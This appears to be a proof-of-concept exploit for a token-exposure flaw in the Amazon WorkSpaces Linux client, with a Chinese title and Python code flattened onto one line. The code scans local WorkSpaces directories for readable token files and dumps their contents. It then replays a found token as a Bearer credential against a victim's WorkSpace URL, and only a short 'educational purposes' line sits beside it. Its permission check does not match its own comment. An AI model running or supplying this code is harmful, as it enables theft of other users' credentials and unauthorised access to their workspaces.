CVE-2025-12779: Amazon WorkSpaces Linux客户端认证令牌处理不当漏洞

# CVE-2025-12779 PoC - Amazon WorkSpaces Linux Client Token Exposure # This PoC demonstrates the token exposure vulnerability in WorkSpaces client import os import glob import json def find_exposed_tokens(): """Search for improperly stored authentication tokens""" token_locations = [ '~/.local/share/amazon-workspaces/', '~/.config/amazon-workspaces/', '/tmp/amazon-workspaces/', '/var/tmp/amazon-workspaces/' ] exposed_tokens = [] for location in token_locations: expanded_path = os.path.expanduser(location) token_files = glob.glob(os.path.join(expanded_path, '**/*token*'), recursive=True) token_files.extend(glob.glob(os.path.join(expanded_path, '**/*.json'), recursive=True)) for token_file in token_files: # Check if file permissions allow world/group read access stat_info = os.stat(token_file) mode = stat_info.st_mode # If file is readable by group or others, it's potentially exposed if mode & 0o047: # Check group/other read bits with open(token_file, 'r') as f: try: content = f.read() if 'token' in content.lower() or 'auth' in content.lower(): exposed_tokens.append({ 'file': token_file, 'permissions': oct(mode), 'content_preview': content[:500] }) except: pass return exposed_tokens def exploit_token(token, target_workspace_url): """ Use exposed token to access victim's WorkSpace Note: This is for educational purposes only """ import requests headers = { 'Authorization': f'Bearer {token}', 'Content-Type': 'application/json' } # Attempt to use the token response = requests.get(target_workspace_url, headers=headers) return response.status_code, response.text if __name__ == '__main__': print('[+] Searching for exposed WorkSpaces tokens...') tokens = find_exposed_tokens() if tokens: print(f'[+] Found {len(tokens)} potentially exposed token(s)') for token in tokens: print(f'[*] Token file: {token["file"]}') print(f'[*] Permissions: {token["permissions"]}') else: print('[-] No exposed tokens found')